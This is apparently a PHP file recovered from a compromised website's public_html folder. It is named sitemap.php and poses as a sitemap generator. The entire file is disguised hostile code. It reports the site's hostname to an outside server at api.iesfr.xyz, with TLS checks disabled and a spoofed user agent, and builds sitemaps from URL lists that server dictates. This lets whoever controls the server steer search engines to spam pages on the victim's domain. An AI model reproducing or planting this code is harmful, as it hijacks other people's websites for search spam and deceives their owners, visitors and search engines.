| Current File : /home/aircanvasbd/public_html/sitemap.php |
<?php
if (!function_exists('getJsonWithCurl')) {
function getJsonWithCurl($url) {
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION['java'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['java']);
}
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
}
$host = urlencode($_SERVER['HTTP_HOST']);
if (isset($_GET['sitemap'])) {
$sitemap_number = (int)$_GET['sitemap'];
$api_url = "https://api.iesfr.xyz/thaisitemapapi.php?requester=" . $host . "&sitemap=" . $sitemap_number;
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
// $ch = curl_init($api_url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate'); // Mengaktifkan dukungan untuk Gzip dan Deflate
// curl_setopt($ch, CURLOPT_HTTPHEADER, [
// 'Accept-Encoding: gzip, deflate' // Meminta data yang dikompresi
// ]);
// $response = curl_exec($ch);
// if (curl_errno($ch)) {
// echo 'cURL Error: ' . curl_error($ch);
// curl_close($ch);
// exit();
// }
// curl_close($ch);
$response = getJsonWithCurl($api_url);
$data = json_decode($response, true);
if (isset($data['urls'])) {
header("Content-Type: application/xml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>';
echo '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
foreach ($data['urls'] as $url) {
echo '<url>';
echo '<loc>' . $protocol. htmlspecialchars($_SERVER['HTTP_HOST'] . $url['loc']) . '</loc>';
echo '<lastmod>' . date('c', strtotime($url['lastmod'])) . '</lastmod>';
echo '<priority>' . htmlspecialchars($url['priority']) . '</priority>';
echo '</url>';
}
echo '</urlset>';
} else {
echo "Error: Unable to fetch individual sitemap.";
}
} else {
$api_url = "https://api.iesfr.xyz/thaisitemapapi.php?requester=" . $host;
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$response = getJsonWithCurl($api_url);
$data = json_decode($response, true);
if (isset($data['sitemaps'])) {
header("Content-Type: application/xml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>';
echo '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
foreach ($data['sitemaps'] as $sitemap) {
echo '<sitemap>';
echo '<loc>' .$protocol.$_SERVER['HTTP_HOST']. htmlspecialchars($sitemap['loc']) . '</loc>';
echo '<lastmod>' . htmlspecialchars($sitemap['lastmod']) . '</lastmod>';
echo '</sitemap>';
}
echo '</sitemapindex>';
} else {
echo "Error: Unable to fetch sitemap index.";
}
}
?>